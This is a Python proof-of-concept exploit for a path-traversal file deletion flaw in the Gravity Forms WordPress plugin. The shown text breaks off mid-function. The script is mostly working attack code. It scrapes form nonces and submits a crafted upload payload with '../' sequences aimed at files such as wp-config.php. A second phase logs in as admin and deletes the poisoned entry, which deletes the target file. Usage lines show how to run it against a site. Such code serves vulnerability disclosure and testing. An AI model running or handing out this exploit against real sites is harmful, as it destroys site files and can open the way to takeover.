#!/usr/bin/env python3 """ CVE-2026-48866 - Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal CVSS: 9.6 (Critical) | CWE-22 | Unauthenticated (requires admin interaction to trigger) Vulnerability: Gravity Forms does not validate that file URLs stored in entries are within the uploads directory. An attacker can submit a form with a crafted gform_uploaded_files parameter containing path traversal sequences (../). When an admin later deletes the entry (or the file from the entry), the delete_physical_file() function resolves the traversal and deletes an arbitrary file from the server filesystem. Attack Flow: 1. Attacker submits a public form with a multi-file upload field 2. POST includes gform_uploaded_files with a URL containing ../../../target_file 3. URL passes esc_url_raw() and is_valid_url() checks (neither strips ../) 4. Malicious URL is stored in the database entry 5. When admin deletes the entry, unlink() is called on the traversed path Fix (2.10.1): Added GFCommon::is_file_in_uploads() check that resolves ../. sequences and verifies the canonical path starts with the uploads directory. Usage: python3 poc.py --target https://test.com --form-id 1 --field-id 1 --file wp-config.php python3 poc.py --target https://test.com --form-id 1 --field-id 1 --file wp-config.php --trigger --admin-user admin --admin-pass password Date: 2026-06-01 """ import argparse import json import re import sys import urllib.parse try: import requests except ImportError: print("[!] 'requests' module not found. Install with: pip install requests") sys.exit(1) def get_form_nonce(session, target, form_id): """Fetch the form page and extract the nonce and gform_unique_id.""" # Try the home page first, then common form pages for path in ['/', f'/?gf_page=preview&id={form_id}', '/contact/', '/submit/']: try: resp = session.get(f'{target}{path}', timeout=15, verify=False) if resp.status_code == 200 and f'gform_submit_{form_id}' in resp.text: break except Exception: continue else: # Try wp-admin preview as fallback resp = session.get(f'{target}/wp-admin/admin.php?page=gf_edit_forms&view=settings&subview=preview&id={form_id}', timeout=15, verify=False) nonce_match = re.search(r'gform_ajax_nonce["\s:]+["\']([a-f0-9]+)["\']', resp.text) if not nonce_match: # Try alternate nonce patterns nonce_match = re.search(r'name=["\']gform_ajax_nonce["\'][^>]*value=["\']([a-f0-9]+)["\']', resp.text) if not nonce_match: nonce_match = re.search(r'"nonce":"([a-f0-9]+)"', resp.text) nonce = nonce_match.group(1) if nonce_match else None unique_id_match = re.search(r'gform_unique_id["\s:]+["\']([a-zA-Z0-9]+)["\']', resp.text) unique_id = unique_id_match.group(1) if unique_id_match else 'abc123def456' return nonce, unique_id, resp.text def craft_payload(target, form_id, field_id, target_file, traversal_depth=3, upload_url=None): """Craft the gform_uploaded_files payload with path traversal.""" # Upload root: {target}/wp-content/uploads/gravity_forms/ # Traversal escapes gravity_forms/ -> uploads/ -> wp-content/ -> WP root traversal = '../' * traversal_depth if upload_url: malicious_url = f'{upload_url.rstrip("/")}/{traversal}{target_file}' else: malicious_url = f'{target}/wp-content/uploads/gravity_forms/{traversal}{target_file}' input_name = f'input_{field_id}' payload = { input_name: [ { 'url': malicious_url, 'uploaded_filename': 'legitimate.txt', 'id': 'poc-file-1' } ] } return json.dumps(payload), malicious_url def submit_form(session, target, form_id, field_id, target_file, traversal_depth=3, upload_url=None): """Submit the form with the crafted path traversal payload.""" print(f'[*] Fetching form page to get nonce...') nonce, unique_id, page_html = get_form_nonce(session, target, form_id) if nonce: print(f'[+] Got nonce: {nonce}') else: print(f'[!] Could not extract nonce from form page. Trying without nonce...') gform_uploaded_files, malicious_url = craft_payload( target, form_id, field_id, target_file, traversal_depth, upload_url ) print(f'[*] Crafted payload URL: {malicious_url}') print(f'[*] gform_uploaded_files: {gform_uploaded_files}') post_data = { f'is_submit_{form_id}': '1', 'gform_submit': str(form_id), f'gform_unique_id': unique_id, 'gform_uploaded_files': gform_uploaded_files, 'gform_target_page_number_1': '0', 'gform_source_page_number_1': '1', 'gform_field_values': '', } if nonce: post_data['gform_ajax_nonce'] = nonce ajax_url = f'{target}/wp-admin/admin-ajax.php' print(f'\n[*] Submitting form {form_id} to {ajax_url}...') headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest', } post_data['action'] = 'gform_submit_form' resp = session.post(ajax_url, data=post_data, headers=headers, timeout=30, verify=False) print(f'[*] Response status: {resp.status_code}') print(f'[*] Response length: {len(resp.text)}') if resp.status_code == 200: entry_id = None # Try to extract entry_id from the AJAX response eid_match = re.search(r'"entry_id"\s*:\s*"?(\d+)"?', resp.text) if not eid_match: eid_match = re.search(r'entry_id=(\d+)', resp.text) if not eid_match: eid_match = re.search(r'lid=(\d+)', resp.text) if eid_match: entry_id = eid_match.group(1) if 'gformRedirect' in resp.text or 'confirmation' in resp.text.lower() or 'thank' in resp.text.lower(): print(f'[+] Form submitted successfully. Malicious URL stored in entry.') if entry_id: print(f'[+] Entry ID: {entry_id}') return True, entry_id elif 'validation_error' in resp.text or 'validation_message' in resp.text: print(f'[-] Form validation failed. The form may require additional fields.') print(f' Response snippet: {resp.text[:500]}') return False, None else: print(f'[-] Unclear response. Cannot confirm entry creation.') print(f' Response snippet: {resp.text[:500]}') return False, None else: print(f'[-] Submission failed with status {resp.status_code}') del post_data['action'] resp = session.post(target, data=post_data, headers=headers, timeout=30, verify=False) print(f'[*] Direct POST response: {resp.status_code}') return resp.status_code == 200, None def trigger_deletion(session, target, admin_user, admin_pass, form_id, poisoned_entry_id=None): """Log in as admin and delete the poisoned entry to trigger the file deletion.""" print(f'\n[*] === Phase 2: Triggering file deletion as admin ===') login_url = f'{target}/wp-login.php' login_data = { 'log': admin_user, 'pwd': admin_pass, 'wp-submit': 'Log In', 'redirect_to': f'{target}/wp-admin/', 'testcookie': '1', } session.cookies.set('wordpress_test_cookie', 'WP+Cookie+check') resp = session.post(login_url, data=login_data, timeout=15, verify=False, allow_redirects=True) if 'dashboard' in resp.text.lower() or resp.url.endswith('/wp-admin/'): print(f'[+] Logged in as {admin_user}') else: print(f'[-] Login may have failed. Status: {resp.status_code}, URL: {resp.url}') return False entries_url = f'{target}/wp-admin/admin.php?page=gf_entries' resp = session.get(entries_url, timeout=15, verify=False) entry_ids = re.findall(r'entry_id=(\d+)', resp.text) if not entry_ids: print(f'[*] Trying REST API to find entries...') api_resp = session.get(f'{target}/wp-json/gf/v2/entries?_sort_direction=DESC&paging[page_size]=5', timeout=15, verify=False) if api_resp.status_code == 200: try: entries_data = api_resp.json() if 'entries' in entries_data: entry_ids = [str(e['id']) for e in entries_data['entries']] except Exception: pass elif api_resp.status_code in (401, 403): print(f'[-] REST API requires authentication or is disabled.') else: print(f'[-] REST API returned {api_resp.status_code}') if not entry_ids: print(f'[-] No entries found. The form submission may not have created an entry.') return False # If we know the poisoned entry ID, use it directly if poisoned_entry_id and str(poisoned_entry_id) in [str(e) for e in entry_ids]: latest_entry_id = str(poisoned_entry_id) print(f'[+] Using poisoned entry ID: {latest_entry_id}') elif poisoned_entry_id: # Entry ID not in the list — might be on a different page print(f'[!] Poisoned entry {poisoned_entry_id} not in first page of results.') print(f'[*] Trying poisoned entry ID directly: {poisoned_entry_id}') latest_entry_id = str(poisoned_entry_id) else: latest_entry_id = entry_ids[0] print(f'[+] Found latest entry ID: {latest_entry_id}') print(f'[!] No poisoned entry ID known. Deleting latest entry may target wrong entry.') entry_detail_url = f'{target}/wp-admin/admin.php?page=gf_entries&view=entry&id={form_id}&lid={latest_entry_id}' resp = session.get(entry_detail_url, timeout=15, verify=False) delete_nonce = None nonce_match = re.search(r'page=gf_entries.*?delete.*?_wpnonce=([a-f0-9]+)', resp.text) if nonce_match: delete_nonce = nonce_match.group(1) if not delete_nonce: nonce_match = re.search(r'_wpnonce=([a-f0-9]+).*?delete', resp.text) if nonce_match: delete_nonce = nonce_match.group(1) if not delete_nonce: resp = session.get(entries_url, timeout=15, verify=False) nonce_match = re.search(r'name="_wpnonce"\s+value="([a-f0-9]+)"', resp.text) if nonce_match: delete_nonce = nonce_match.group(1) if not delete_nonce: print(f'[-] Could not find delete nonce. Try deleting entry {latest_entry_id} manually.') return False print(f'[*] Deleting entry {latest_entry_id}...') delete_data = { 'action': 'delete', 'entry[]': latest_entry_id, '_wpnonce': delete_nonce, } resp = session.post(entries_url, data=delete_data, timeout=15, verify=False) if resp.status_code == 200: print(f'[+] Entry deleted. If the target file existed, it should now be deleted.') return True else: print(f'[-] Delete request returned status {resp.status_code}') return False def verify_file_exists(session, target, target_file): """Check if the target file is accessible (for files like wp-config.php, check site health).""" print(f'\n[*] Checking target site health...') try: resp = session.get(target, timeout=15, verify=False) if target_file != 'wp-config.php': print(f'[!] Cannot verify deletion of {target_file} without server-side access.') return None if resp.status_code == 200 and ('WordPress' in resp.text or '